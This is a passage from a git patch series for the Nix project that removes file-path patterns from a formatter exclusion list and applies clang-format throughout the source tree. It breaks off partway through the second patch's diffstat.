From c58be744cc0ca70e4a66db925d2daa68c89d0a61 Mon Sep 17 00:00:00 2001 From: Graham Christensen Date: Sun, 6 Apr 2025 15:36:37 -0400 Subject: [PATCH 1/3] Drop a ton of files that should just get formatted --- maintainers/flake-module.nix | 463 ----------------------------------- 1 file changed, 463 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index a8c52eb46..78240ff65 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -75,470 +75,7 @@ ''^src/[^/]*-tests/data/.*$'' # Don't format vendored code - ''^doc/manual/redirects\.js$'' ''^doc/manual/theme/highlight\.js$'' - - # We haven't applied formatting to these files yet - ''^doc/manual/redirects\.js$'' - ''^doc/manual/theme/highlight\.js$'' - ''^precompiled-headers\.h$'' - ''^src/build-remote/build-remote\.cc$'' - ''^src/libcmd/built-path\.cc$'' - ''^src/libcmd/include/nix/cmd/built-path\.hh$'' - ''^src/libcmd/common-eval-args\.cc$'' - ''^src/libcmd/include/nix/cmd/common-eval-args\.hh$'' - ''^src/libcmd/editor-for\.cc$'' - ''^src/libcmd/installable-attr-path\.cc$'' - ''^src/libcmd/include/nix/cmd/installable-attr-path\.hh$'' - ''^src/libcmd/installable-derived-path\.cc$'' - ''^src/libcmd/include/nix/cmd/installable-derived-path\.hh$'' - ''^src/libcmd/installable-flake\.cc$'' - ''^src/libcmd/include/nix/cmd/installable-flake\.hh$'' - ''^src/libcmd/installable-value\.cc$'' - ''^src/libcmd/include/nix/cmd/installable-value\.hh$'' - ''^src/libcmd/installables\.cc$'' - ''^src/libcmd/include/nix/cmd/installables\.hh$'' - ''^src/libcmd/include/nix/cmd/legacy\.hh$'' - ''^src/libcmd/markdown\.cc$'' - ''^src/libcmd/misc-store-flags\.cc$'' - ''^src/libcmd/repl-interacter\.cc$'' - ''^src/libcmd/include/nix/cmd/repl-interacter\.hh$'' - ''^src/libcmd/repl\.cc$'' - ''^src/libcmd/include/nix/cmd/repl\.hh$'' - ''^src/libexpr-c/nix_api_expr\.cc$'' - ''^src/libexpr-c/nix_api_external\.cc$'' - ''^src/libexpr/attr-path\.cc$'' - ''^src/libexpr/include/nix/expr/attr-path\.hh$'' - ''^src/libexpr/attr-set\.cc$'' - ''^src/libexpr/include/nix/expr/attr-set\.hh$'' - ''^src/libexpr/eval-cache\.cc$'' - ''^src/libexpr/include/nix/expr/eval-cache\.hh$'' - ''^src/libexpr/eval-error\.cc$'' - ''^src/libexpr/include/nix/expr/eval-inline\.hh$'' - ''^src/libexpr/eval-settings\.cc$'' - ''^src/libexpr/include/nix/expr/eval-settings\.hh$'' - ''^src/libexpr/eval\.cc$'' - ''^src/libexpr/include/nix/expr/eval\.hh$'' - ''^src/libexpr/function-trace\.cc$'' - ''^src/libexpr/include/nix/expr/gc-small-vector\.hh$'' - ''^src/libexpr/get-drvs\.cc$'' - ''^src/libexpr/include/nix/expr/get-drvs\.hh$'' - ''^src/libexpr/json-to-value\.cc$'' - ''^src/libexpr/nixexpr\.cc$'' - ''^src/libexpr/include/nix/expr/nixexpr\.hh$'' - ''^src/libexpr/include/nix/expr/parser-state\.hh$'' - ''^src/libexpr/primops\.cc$'' - ''^src/libexpr/include/nix/expr/primops\.hh$'' - ''^src/libexpr/primops/context\.cc$'' - ''^src/libexpr/primops/fetchClosure\.cc$'' - ''^src/libexpr/primops/fetchMercurial\.cc$'' - ''^src/libexpr/primops/fetchTree\.cc$'' - ''^src/libexpr/primops/fromTOML\.cc$'' - ''^src/libexpr/print-ambiguous\.cc$'' - ''^src/libexpr/include/nix/expr/print-ambiguous\.hh$'' - ''^src/libexpr/include/nix/expr/print-options\.hh$'' - ''^src/libexpr/print\.cc$'' - ''^src/libexpr/include/nix/expr/print\.hh$'' - ''^src/libexpr/search-path\.cc$'' - ''^src/libexpr/include/nix/expr/symbol-table\.hh$'' - ''^src/libexpr/value-to-json\.cc$'' - ''^src/libexpr/include/nix/expr/value-to-json\.hh$'' - ''^src/libexpr/value-to-xml\.cc$'' - ''^src/libexpr/include/nix/expr/value-to-xml\.hh$'' - ''^src/libexpr/include/nix/expr/value\.hh$'' - ''^src/libexpr/value/context\.cc$'' - ''^src/libexpr/include/nix/expr/value/context\.hh$'' - ''^src/libfetchers/attrs\.cc$'' - ''^src/libfetchers/cache\.cc$'' - ''^src/libfetchers/include/nix/fetchers/cache\.hh$'' - ''^src/libfetchers/fetch-settings\.cc$'' - ''^src/libfetchers/include/nix/fetchers/fetch-settings\.hh$'' - ''^src/libfetchers/fetch-to-store\.cc$'' - ''^src/libfetchers/fetchers\.cc$'' - ''^src/libfetchers/include/nix/fetchers/fetchers\.hh$'' - ''^src/libfetchers/filtering-source-accessor\.cc$'' - ''^src/libfetchers/include/nix/fetchers/filtering-source-accessor\.hh$'' - ''^src/libfetchers/fs-source-accessor\.cc$'' - ''^src/libfetchers/include/nix/fs-source-accessor\.hh$'' - ''^src/libfetchers/git-utils\.cc$'' - ''^src/libfetchers/include/nix/fetchers/git-utils\.hh$'' - ''^src/libfetchers/github\.cc$'' - ''^src/libfetchers/indirect\.cc$'' - ''^src/libfetchers/memory-source-accessor\.cc$'' - ''^src/libfetchers/path\.cc$'' - ''^src/libfetchers/registry\.cc$'' - ''^src/libfetchers/include/nix/fetchers/registry\.hh$'' - ''^src/libfetchers/tarball\.cc$'' - ''^src/libfetchers/include/nix/fetchers/tarball\.hh$'' - ''^src/libfetchers/git\.cc$'' - ''^src/libfetchers/mercurial\.cc$'' - ''^src/libflake/flake/config\.cc$'' - ''^src/libflake/flake/flake\.cc$'' - ''^src/libflake/include/nix/flake/flake\.hh$'' - ''^src/libflake/flake/flakeref\.cc$'' - ''^src/libflake/include/nix/flake/flakeref\.hh$'' - ''^src/libflake/flake/lockfile\.cc$'' - ''^src/libflake/include/nix/flake/lockfile\.hh$'' - ''^src/libflake/flake/url-name\.cc$'' - ''^src/libmain/common-args\.cc$'' - ''^src/libmain/include/nix/main/common-args\.hh$'' - ''^src/libmain/loggers\.cc$'' - ''^src/libmain/include/nix/main/loggers\.hh$'' - ''^src/libmain/progress-bar\.cc$'' - ''^src/libmain/shared\.cc$'' - ''^src/libmain/include/nix/main/shared\.hh$'' - ''^src/libmain/unix/stack\.cc$'' - ''^src/libstore/binary-cache-store\.cc$'' - ''^src/libstore/include/nix/store/binary-cache-store\.hh$'' - ''^src/libstore/include/nix/store/build-result\.hh$'' - ''^src/libstore/include/nix/store/builtins\.hh$'' - ''^src/libstore/builtins/buildenv\.cc$'' - ''^src/libstore/include/nix/store/builtins/buildenv\.hh$'' - ''^src/libstore/include/nix/store/common-protocol-impl\.hh$'' - ''^src/libstore/common-protocol\.cc$'' - ''^src/libstore/include/nix/store/common-protocol\.hh$'' - ''^src/libstore/include/nix/store/common-ssh-store-config\.hh$'' - ''^src/libstore/content-address\.cc$'' - ''^src/libstore/include/nix/store/content-address\.hh$'' - ''^src/libstore/daemon\.cc$'' - ''^src/libstore/include/nix/store/daemon\.hh$'' - ''^src/libstore/derivations\.cc$'' - ''^src/libstore/include/nix/store/derivations\.hh$'' - ''^src/libstore/derived-path-map\.cc$'' - ''^src/libstore/include/nix/store/derived-path-map\.hh$'' - ''^src/libstore/derived-path\.cc$'' - ''^src/libstore/include/nix/store/derived-path\.hh$'' - ''^src/libstore/downstream-placeholder\.cc$'' - ''^src/libstore/include/nix/store/downstream-placeholder\.hh$'' - ''^src/libstore/dummy-store\.cc$'' - ''^src/libstore/export-import\.cc$'' - ''^src/libstore/filetransfer\.cc$'' - ''^src/libstore/include/nix/store/filetransfer\.hh$'' - ''^src/libstore/include/nix/store/gc-store\.hh$'' - ''^src/libstore/globals\.cc$'' - ''^src/libstore/include/nix/store/globals\.hh$'' - ''^src/libstore/http-binary-cache-store\.cc$'' - ''^src/libstore/legacy-ssh-store\.cc$'' - ''^src/libstore/include/nix/store/legacy-ssh-store\.hh$'' - ''^src/libstore/include/nix/store/length-prefixed-protocol-helper\.hh$'' - ''^src/libstore/linux/personality\.cc$'' - ''^src/libstore/linux/include/nix/store/personality\.hh$'' - ''^src/libstore/local-binary-cache-store\.cc$'' - ''^src/libstore/local-fs-store\.cc$'' - ''^src/libstore/include/nix/store/local-fs-store\.hh$'' - ''^src/libstore/log-store\.cc$'' - ''^src/libstore/include/nix/store/log-store\.hh$'' - ''^src/libstore/machines\.cc$'' - ''^src/libstore/include/nix/store/machines\.hh$'' - ''^src/libstore/make-content-addressed\.cc$'' - ''^src/libstore/include/nix/store/make-content-addressed\.hh$'' - ''^src/libstore/misc\.cc$'' - ''^src/libstore/names\.cc$'' - ''^src/libstore/include/nix/store/names\.hh$'' - ''^src/libstore/nar-accessor\.cc$'' - ''^src/libstore/include/nix/store/nar-accessor\.hh$'' - ''^src/libstore/nar-info-disk-cache\.cc$'' - ''^src/libstore/include/nix/store/nar-info-disk-cache\.hh$'' - ''^src/libstore/nar-info\.cc$'' - ''^src/libstore/include/nix/store/nar-info\.hh$'' - ''^src/libstore/outputs-spec\.cc$'' - ''^src/libstore/include/nix/store/outputs-spec\.hh$'' - ''^src/libstore/parsed-derivations\.cc$'' - ''^src/libstore/path-info\.cc$'' - ''^src/libstore/include/nix/store/path-info\.hh$'' - ''^src/libstore/path-references\.cc$'' - ''^src/libstore/include/nix/store/path-regex\.hh$'' - ''^src/libstore/path-with-outputs\.cc$'' - ''^src/libstore/path\.cc$'' - ''^src/libstore/include/nix/store/path\.hh$'' - ''^src/libstore/pathlocks\.cc$'' - ''^src/libstore/include/nix/store/pathlocks\.hh$'' - ''^src/libstore/profiles\.cc$'' - ''^src/libstore/include/nix/store/profiles\.hh$'' - ''^src/libstore/realisation\.cc$'' - ''^src/libstore/include/nix/store/realisation\.hh$'' - ''^src/libstore/remote-fs-accessor\.cc$'' - ''^src/libstore/include/nix/store/remote-fs-accessor\.hh$'' - ''^src/libstore/include/nix/store/remote-store-connection\.hh$'' - ''^src/libstore/remote-store\.cc$'' - ''^src/libstore/include/nix/store/remote-store\.hh$'' - ''^src/libstore/s3-binary-cache-store\.cc$'' - ''^src/libstore/include/nix/store/s3\.hh$'' - ''^src/libstore/serve-protocol-impl\.cc$'' - ''^src/libstore/include/nix/store/serve-protocol-impl\.hh$'' - ''^src/libstore/serve-protocol\.cc$'' - ''^src/libstore/include/nix/store/serve-protocol\.hh$'' - ''^src/libstore/sqlite\.cc$'' - ''^src/libstore/include/nix/store/sqlite\.hh$'' - ''^src/libstore/ssh-store\.cc$'' - ''^src/libstore/ssh\.cc$'' - ''^src/libstore/include/nix/store/ssh\.hh$'' - ''^src/libstore/store-api\.cc$'' - ''^src/libstore/include/nix/store/store-api\.hh$'' - ''^src/libstore/include/nix/store/store-dir-config\.hh$'' - ''^src/libstore/build/derivation-goal\.cc$'' - ''^src/libstore/include/nix/store/build/derivation-goal\.hh$'' - ''^src/libstore/build/drv-output-substitution-goal\.cc$'' - ''^src/libstore/include/nix/store/build/drv-output-substitution-goal\.hh$'' - ''^src/libstore/build/entry-points\.cc$'' - ''^src/libstore/build/goal\.cc$'' - ''^src/libstore/include/nix/store/build/goal\.hh$'' - ''^src/libstore/unix/build/hook-instance\.cc$'' - ''^src/libstore/unix/build/local-derivation-goal\.cc$'' - ''^src/libstore/unix/include/nix/store/build/local-derivation-goal\.hh$'' - ''^src/libstore/build/substitution-goal\.cc$'' - ''^src/libstore/include/nix/store/build/substitution-goal\.hh$'' - ''^src/libstore/build/worker\.cc$'' - ''^src/libstore/include/nix/store/build/worker\.hh$'' - ''^src/libstore/builtins/fetchurl\.cc$'' - ''^src/libstore/builtins/unpack-channel\.cc$'' - ''^src/libstore/gc\.cc$'' - ''^src/libstore/local-overlay-store\.cc$'' - ''^src/libstore/include/nix/store/local-overlay-store\.hh$'' - ''^src/libstore/local-store\.cc$'' - ''^src/libstore/include/nix/store/local-store\.hh$'' - ''^src/libstore/unix/user-lock\.cc$'' - ''^src/libstore/unix/include/nix/store/user-lock\.hh$'' - ''^src/libstore/optimise-store\.cc$'' - ''^src/libstore/unix/pathlocks\.cc$'' - ''^src/libstore/posix-fs-canonicalise\.cc$'' - ''^src/libstore/include/nix/store/posix-fs-canonicalise\.hh$'' - ''^src/libstore/uds-remote-store\.cc$'' - ''^src/libstore/include/nix/store/uds-remote-store\.hh$'' - ''^src/libstore/windows/build\.cc$'' - ''^src/libstore/include/nix/store/worker-protocol-impl\.hh$'' - ''^src/libstore/worker-protocol\.cc$'' - ''^src/libstore/include/nix/store/worker-protocol\.hh$'' - ''^src/libutil-c/nix_api_util_internal\.h$'' - ''^src/libutil/archive\.cc$'' - ''^src/libutil/include/nix/util/archive\.hh$'' - ''^src/libutil/args\.cc$'' - ''^src/libutil/include/nix/util/args\.hh$'' - ''^src/libutil/include/nix/util/args/root\.hh$'' - ''^src/libutil/include/nix/util/callback\.hh$'' - ''^src/libutil/canon-path\.cc$'' - ''^src/libutil/include/nix/util/canon-path\.hh$'' - ''^src/libutil/include/nix/util/chunked-vector\.hh$'' - ''^src/libutil/include/nix/util/closure\.hh$'' - ''^src/libutil/include/nix/util/comparator\.hh$'' - ''^src/libutil/compute-levels\.cc$'' - ''^src/libutil/include/nix/util/config-impl\.hh$'' - ''^src/libutil/configuration\.cc$'' - ''^src/libutil/include/nix/util/configuration\.hh$'' - ''^src/libutil/current-process\.cc$'' - ''^src/libutil/include/nix/util/current-process\.hh$'' - ''^src/libutil/english\.cc$'' - ''^src/libutil/include/nix/util/english\.hh$'' - ''^src/libutil/error\.cc$'' - ''^src/libutil/include/nix/util/error\.hh$'' - ''^src/libutil/include/nix/util/exit\.hh$'' - ''^src/libutil/experimental-features\.cc$'' - ''^src/libutil/include/nix/util/experimental-features\.hh$'' - ''^src/libutil/file-content-address\.cc$'' - ''^src/libutil/include/nix/util/file-content-address\.hh$'' - ''^src/libutil/file-descriptor\.cc$'' - ''^src/libutil/include/nix/util/file-descriptor\.hh$'' - ''^src/libutil/include/nix/util/file-path-impl\.hh$'' - ''^src/libutil/include/nix/util/file-path\.hh$'' - ''^src/libutil/file-system\.cc$'' - ''^src/libutil/include/nix/util/file-system\.hh$'' - ''^src/libutil/include/nix/util/finally\.hh$'' - ''^src/libutil/include/nix/util/fmt\.hh$'' - ''^src/libutil/fs-sink\.cc$'' - ''^src/libutil/include/nix/util/fs-sink\.hh$'' - ''^src/libutil/git\.cc$'' - ''^src/libutil/include/nix/util/git\.hh$'' - ''^src/libutil/hash\.cc$'' - ''^src/libutil/include/nix/util/hash\.hh$'' - ''^src/libutil/hilite\.cc$'' - ''^src/libutil/include/nix/util/hilite\.hh$'' - ''^src/libutil/source-accessor\.hh$'' - ''^src/libutil/include/nix/util/json-impls\.hh$'' - ''^src/libutil/json-utils\.cc$'' - ''^src/libutil/include/nix/util/json-utils\.hh$'' - ''^src/libutil/linux/cgroup\.cc$'' - ''^src/libutil/linux/namespaces\.cc$'' - ''^src/libutil/logging\.cc$'' - ''^src/libutil/include/nix/util/logging\.hh$'' - ''^src/libutil/include/nix/util/lru-cache\.hh$'' - ''^src/libutil/memory-source-accessor\.cc$'' - ''^src/libutil/include/nix/util/memory-source-accessor\.hh$'' - ''^src/libutil/include/nix/util/pool\.hh$'' - ''^src/libutil/position\.cc$'' - ''^src/libutil/include/nix/util/position\.hh$'' - ''^src/libutil/posix-source-accessor\.cc$'' - ''^src/libutil/include/nix/util/posix-source-accessor\.hh$'' - ''^src/libutil/include/nix/util/processes\.hh$'' - ''^src/libutil/include/nix/util/ref\.hh$'' - ''^src/libutil/references\.cc$'' - ''^src/libutil/include/nix/util/references\.hh$'' - ''^src/libutil/regex-combinators\.hh$'' - ''^src/libutil/serialise\.cc$'' - ''^src/libutil/include/nix/util/serialise\.hh$'' - ''^src/libutil/include/nix/util/signals\.hh$'' - ''^src/libutil/signature/local-keys\.cc$'' - ''^src/libutil/include/nix/util/signature/local-keys\.hh$'' - ''^src/libutil/signature/signer\.cc$'' - ''^src/libutil/include/nix/util/signature/signer\.hh$'' - ''^src/libutil/source-accessor\.cc$'' - ''^src/libutil/include/nix/util/source-accessor\.hh$'' - ''^src/libutil/source-path\.cc$'' - ''^src/libutil/include/nix/util/source-path\.hh$'' - ''^src/libutil/include/nix/util/split\.hh$'' - ''^src/libutil/suggestions\.cc$'' - ''^src/libutil/include/nix/util/suggestions\.hh$'' - ''^src/libutil/include/nix/util/sync\.hh$'' - ''^src/libutil/terminal\.cc$'' - ''^src/libutil/include/nix/util/terminal\.hh$'' - ''^src/libutil/thread-pool\.cc$'' - ''^src/libutil/include/nix/util/thread-pool\.hh$'' - ''^src/libutil/include/nix/util/topo-sort\.hh$'' - ''^src/libutil/include/nix/util/types\.hh$'' - ''^src/libutil/unix/file-descriptor\.cc$'' - ''^src/libutil/unix/file-path\.cc$'' - ''^src/libutil/unix/processes\.cc$'' - ''^src/libutil/unix/include/nix/util/signals-impl\.hh$'' - ''^src/libutil/unix/signals\.cc$'' - ''^src/libutil/unix-domain-socket\.cc$'' - ''^src/libutil/unix/users\.cc$'' - ''^src/libutil/include/nix/util/url-parts\.hh$'' - ''^src/libutil/url\.cc$'' - ''^src/libutil/include/nix/util/url\.hh$'' - ''^src/libutil/users\.cc$'' - ''^src/libutil/include/nix/util/users\.hh$'' - ''^src/libutil/util\.cc$'' - ''^src/libutil/include/nix/util/util\.hh$'' - ''^src/libutil/include/nix/util/variant-wrapper\.hh$'' - ''^src/libutil/widecharwidth/widechar_width\.h$'' # vendored source - ''^src/libutil/windows/file-descriptor\.cc$'' - ''^src/libutil/windows/file-path\.cc$'' - ''^src/libutil/windows/processes\.cc$'' - ''^src/libutil/windows/users\.cc$'' - ''^src/libutil/windows/windows-error\.cc$'' - ''^src/libutil/windows/include/nix/util/windows-error\.hh$'' - ''^src/libutil/xml-writer\.cc$'' - ''^src/libutil/include/nix/util/xml-writer\.hh$'' - ''^src/nix-build/nix-build\.cc$'' - ''^src/nix-channel/nix-channel\.cc$'' - ''^src/nix-collect-garbage/nix-collect-garbage\.cc$'' - ''^src/nix-env/buildenv.nix$'' - ''^src/nix-env/nix-env\.cc$'' - ''^src/nix-env/user-env\.cc$'' - ''^src/nix-env/user-env\.hh$'' - ''^src/nix-instantiate/nix-instantiate\.cc$'' - ''^src/nix-store/dotgraph\.cc$'' - ''^src/nix-store/graphml\.cc$'' - ''^src/nix-store/nix-store\.cc$'' - ''^src/nix/add-to-store\.cc$'' - ''^src/nix/app\.cc$'' - ''^src/nix/build\.cc$'' - ''^src/nix/bundle\.cc$'' - ''^src/nix/cat\.cc$'' - ''^src/nix/config-check\.cc$'' - ''^src/nix/config\.cc$'' - ''^src/nix/copy\.cc$'' - ''^src/nix/derivation-add\.cc$'' - ''^src/nix/derivation-show\.cc$'' - ''^src/nix/derivation\.cc$'' - ''^src/nix/develop\.cc$'' - ''^src/nix/diff-closures\.cc$'' - ''^src/nix/dump-path\.cc$'' - ''^src/nix/edit\.cc$'' - ''^src/nix/eval\.cc$'' - ''^src/nix/flake\.cc$'' - ''^src/nix/fmt\.cc$'' - ''^src/nix/hash\.cc$'' - ''^src/nix/log\.cc$'' - ''^src/nix/ls\.cc$'' - ''^src/nix/main\.cc$'' - ''^src/nix/make-content-addressed\.cc$'' - ''^src/nix/nar\.cc$'' - ''^src/nix/optimise-store\.cc$'' - ''^src/nix/path-from-hash-part\.cc$'' - ''^src/nix/path-info\.cc$'' - ''^src/nix/prefetch\.cc$'' - ''^src/nix/profile\.cc$'' - ''^src/nix/realisation\.cc$'' - ''^src/nix/registry\.cc$'' - ''^src/nix/repl\.cc$'' - ''^src/nix/run\.cc$'' - ''^src/nix/run\.hh$'' - ''^src/nix/search\.cc$'' - ''^src/nix/sigs\.cc$'' - ''^src/nix/store-copy-log\.cc$'' - ''^src/nix/store-delete\.cc$'' - ''^src/nix/store-gc\.cc$'' - ''^src/nix/store-info\.cc$'' - ''^src/nix/store-repair\.cc$'' - ''^src/nix/store\.cc$'' - ''^src/nix/unix/daemon\.cc$'' - ''^src/nix/upgrade-nix\.cc$'' - ''^src/nix/verify\.cc$'' - ''^src/nix/why-depends\.cc$'' - - ''^tests/functional/plugins/plugintest\.cc'' - ''^tests/functional/test-libstoreconsumer/main\.cc'' - ''^tests/nixos/ca-fd-leak/sender\.c'' - ''^tests/nixos/ca-fd-leak/smuggler\.c'' - ''^tests/nixos/user-sandboxing/attacker\.c'' - ''^src/libexpr-test-support/include/nix/expr/tests/libexpr\.hh'' - ''^src/libexpr-test-support/tests/value/context\.cc'' - ''^src/libexpr-test-support/include/nix/expr/tests/value/context\.hh'' - ''^src/libexpr-tests/derived-path\.cc'' - ''^src/libexpr-tests/error_traces\.cc'' - ''^src/libexpr-tests/eval\.cc'' - ''^src/libexpr-tests/json\.cc'' - ''^src/libexpr-tests/main\.cc'' - ''^src/libexpr-tests/primops\.cc'' - ''^src/libexpr-tests/search-path\.cc'' - ''^src/libexpr-tests/trivial\.cc'' - ''^src/libexpr-tests/value/context\.cc'' - ''^src/libexpr-tests/value/print\.cc'' - ''^src/libfetchers-tests/public-key\.cc'' - ''^src/libflake-tests/flakeref\.cc'' - ''^src/libflake-tests/url-name\.cc'' - ''^src/libstore-test-support/tests/derived-path\.cc'' - ''^src/libstore-test-support/include/nix/store/tests/derived-path\.hh'' - ''^src/libstore-test-support/include/nix/store/tests/nix_api_store\.hh'' - ''^src/libstore-test-support/tests/outputs-spec\.cc'' - ''^src/libstore-test-support/include/nix/store/tests/outputs-spec\.hh'' - ''^src/libstore-test-support/path\.cc'' - ''^src/libstore-test-support/include/nix/store/tests/path\.hh'' - ''^src/libstore-test-support/include/nix/store/tests/protocol\.hh'' - ''^src/libstore-tests/common-protocol\.cc'' - ''^src/libstore-tests/content-address\.cc'' - ''^src/libstore-tests/derivation\.cc'' - ''^src/libstore-tests/derived-path\.cc'' - ''^src/libstore-tests/downstream-placeholder\.cc'' - ''^src/libstore-tests/machines\.cc'' - ''^src/libstore-tests/nar-info-disk-cache\.cc'' - ''^src/libstore-tests/nar-info\.cc'' - ''^src/libstore-tests/outputs-spec\.cc'' - ''^src/libstore-tests/path-info\.cc'' - ''^src/libstore-tests/path\.cc'' - ''^src/libstore-tests/serve-protocol\.cc'' - ''^src/libstore-tests/worker-protocol\.cc'' - ''^src/libutil-test-support/include/nix/util/tests/characterization\.hh'' - ''^src/libutil-test-support/hash\.cc'' - ''^src/libutil-test-support/include/nix/util/tests/hash\.hh'' - ''^src/libutil-tests/args\.cc'' - ''^src/libutil-tests/canon-path\.cc'' - ''^src/libutil-tests/chunked-vector\.cc'' - ''^src/libutil-tests/closure\.cc'' - ''^src/libutil-tests/compression\.cc'' - ''^src/libutil-tests/config\.cc'' - ''^src/libutil-tests/file-content-address\.cc'' - ''^src/libutil-tests/git\.cc'' - ''^src/libutil-tests/hash\.cc'' - ''^src/libutil-tests/hilite\.cc'' - ''^src/libutil-tests/json-utils\.cc'' - ''^src/libutil-tests/logging\.cc'' - ''^src/libutil-tests/lru-cache\.cc'' - ''^src/libutil-tests/pool\.cc'' - ''^src/libutil-tests/references\.cc'' - ''^src/libutil-tests/suggestions\.cc'' - ''^src/libutil-tests/url\.cc'' - ''^src/libutil-tests/xml-writer\.cc'' ]; }; shellcheck = { From c01a35bb1c09fc2fac17e8b4377b7eca8bbc2a93 Mon Sep 17 00:00:00 2001 From: Graham Christensen Date: Sat, 12 Apr 2025 10:41:30 -0400 Subject: [PATCH 2/3] Apply clang-format universally. * It is tough to contribute to a project that doesn't use a formatter, * It is extra hard to contribute to a project which has configured the formatter, but ignores it for some files * Code formatting makes it harder to hide obscure / weird bugs by accident or on purpose, Let's rip the bandaid off? Note that PRs currently in flight should be able to be merged relatively easily by applying `clang-format` to their tip prior to merge. --- doc/manual/redirects.js | 751 ++--- precompiled-headers.h | 18 +- src/build-remote/build-remote.cc | 80 +- src/libcmd/built-path.cc | 62 +- src/libcmd/common-eval-args.cc | 78 +- src/libcmd/editor-for.cc | 8 +- src/libcmd/include/nix/cmd/built-path.hh | 46 +- .../include/nix/cmd/common-eval-args.hh | 26 +- .../include/nix/cmd/installable-attr-path.hh | 5 +- .../nix/cmd/installable-derived-path.hh | 12 +- .../include/nix/cmd/installable-flake.hh | 23 +- .../include/nix/cmd/installable-value.hh | 27 +- src/libcmd/include/nix/cmd/installables.hh | 32 +- src/libcmd/include/nix/cmd/legacy.hh | 5 +- src/libcmd/include/nix/cmd/repl-interacter.hh | 5 +- src/libcmd/include/nix/cmd/repl.hh | 12 +- src/libcmd/installable-attr-path.cc | 53 +- src/libcmd/installable-derived-path.cc | 48 +- src/libcmd/installable-flake.cc | 99 +- src/libcmd/installable-value.cc | 27 +- src/libcmd/installables.cc | 321 +- src/libcmd/markdown.cc | 17 +- src/libcmd/misc-store-flags.cc | 76 +- src/libcmd/repl-interacter.cc | 9 +- src/libcmd/repl.cc | 280 +- src/libexpr-c/nix_api_expr.cc | 29 +- src/libexpr-c/nix_api_external.cc | 12 +- .../include/nix/expr/tests/libexpr.hh | 255 +- .../include/nix/expr/tests/value/context.hh | 12 +- src/libexpr-tests/derived-path.cc | 22 +- src/libexpr-tests/error_traces.cc | 2684 ++++++++--------- src/libexpr-tests/eval.cc | 39 +- src/libexpr-tests/json.cc | 114 +- src/libexpr-tests/main.cc | 18 +- src/libexpr-tests/primops.cc | 1500 ++++----- src/libexpr-tests/search-path.cc | 94 +- src/libexpr-tests/trivial.cc | 471 +-- src/libexpr-tests/value/context.cc | 77 +- src/libexpr-tests/value/print.cc | 328 +- src/libexpr/attr-path.cc | 50 +- src/libexpr/attr-set.cc | 11 +- src/libexpr/eval-cache.cc | 281 +- src/libexpr/eval-error.cc | 16 +- src/libexpr/eval-settings.cc | 25 +- src/libexpr/eval.cc | 1171 ++++--- src/libexpr/function-trace.cc | 7 +- src/libexpr/get-drvs.cc | 204 +- src/libexpr/include/nix/expr/attr-path.hh | 7 +- src/libexpr/include/nix/expr/attr-set.hh | 65 +- src/libexpr/include/nix/expr/eval-cache.hh | 26 +- src/libexpr/include/nix/expr/eval-inline.hh | 41 +- src/libexpr/include/nix/expr/eval-settings.hh | 72 +- src/libexpr/include/nix/expr/eval.hh | 173 +- .../include/nix/expr/gc-small-vector.hh | 6 +- src/libexpr/include/nix/expr/get-drvs.hh | 45 +- src/libexpr/include/nix/expr/nixexpr.hh | 341 ++- src/libexpr/include/nix/expr/parser-state.hh | 93 +- src/libexpr/include/nix/expr/primops.hh | 4 +- .../include/nix/expr/print-ambiguous.hh | 6 +- src/libexpr/include/nix/expr/print-options.hh | 2 +- src/libexpr/include/nix/expr/print.hh | 22 +- src/libexpr/include/nix/expr/symbol-table.hh | 39 +- src/libexpr/include/nix/expr/value-to-json.hh | 15 +- src/libexpr/include/nix/expr/value-to-xml.hh | 10 +- src/libexpr/include/nix/expr/value.hh | 231 +- src/libexpr/include/nix/expr/value/context.hh | 19 +- src/libexpr/json-to-value.cc | 56 +- src/libexpr/nixexpr.cc | 104 +- src/libexpr/primops.cc | 1624 +++++----- src/libexpr/primops/context.cc | 225 +- src/libexpr/primops/fetchClosure.cc | 156 +- src/libexpr/primops/fetchMercurial.cc | 51 +- src/libexpr/primops/fetchTree.cc | 227 +- src/libexpr/primops/fromTOML.cc | 141 +- src/libexpr/print-ambiguous.cc | 6 +- src/libexpr/print.cc | 87 +- src/libexpr/search-path.cc | 27 +- src/libexpr/value-to-json.cc | 149 +- src/libexpr/value-to-xml.cc | 234 +- src/libexpr/value/context.cc | 76 +- src/libfetchers-tests/public-key.cc | 46 +- src/libfetchers/attrs.cc | 17 +- src/libfetchers/cache.cc | 56 +- src/libfetchers/fetch-settings.cc | 4 +- src/libfetchers/fetch-to-store.cc | 29 +- src/libfetchers/fetchers.cc | 107 +- src/libfetchers/filtering-source-accessor.cc | 20 +- src/libfetchers/git-utils.cc | 391 ++- src/libfetchers/git.cc | 312 +- src/libfetchers/github.cc | 249 +- src/libfetchers/include/nix/fetchers/cache.hh | 29 +- .../include/nix/fetchers/fetch-settings.hh | 24 +- .../include/nix/fetchers/fetchers.hh | 78 +- .../include/nix/fetchers/git-utils.hh | 49 +- .../include/nix/fetchers/registry.hh | 26 +- .../include/nix/fetchers/tarball.hh | 12 +- src/libfetchers/indirect.cc | 42 +- src/libfetchers/mercurial.cc | 126 +- src/libfetchers/path.cc | 21 +- src/libfetchers/registry.cc | 51 +- src/libfetchers/tarball.cc | 135 +- src/libflake-tests/flakeref.cc | 100 +- src/libflake-tests/url-name.cc | 123 +- src/libflake/flake/config.cc | 41 +- src/libflake/flake/flake.cc | 447 ++- src/libflake/flake/flakeref.cc | 75 +- src/libflake/flake/lockfile.cc | 82 +- src/libflake/flake/url-name.cc | 10 +- src/libflake/include/nix/flake/flake.hh | 18 +- src/libflake/include/nix/flake/flakeref.hh | 28 +- src/libflake/include/nix/flake/lockfile.hh | 17 +- src/libmain/common-args.cc | 29 +- src/libmain/include/nix/main/common-args.hh | 9 +- src/libmain/include/nix/main/loggers.hh | 10 +- src/libmain/include/nix/main/shared.hh | 42 +- src/libmain/progress-bar.cc | 176 +- src/libmain/shared.cc | 183 +- src/libmain/unix/stack.cc | 19 +- .../include/nix/store/tests/derived-path.hh | 15 +- .../include/nix/store/tests/nix_api_store.hh | 9 +- .../include/nix/store/tests/outputs-spec.hh | 3 +- .../include/nix/store/tests/path.hh | 9 +- .../include/nix/store/tests/protocol.hh | 23 +- src/libstore-test-support/path.cc | 34 +- src/libstore-tests/common-protocol.cc | 130 +- src/libstore-tests/content-address.cc | 29 +- src/libstore-tests/derivation.cc | 306 +- src/libstore-tests/derived-path.cc | 45 +- src/libstore-tests/downstream-placeholder.cc | 18 +- src/libstore-tests/machines.cc | 97 +- 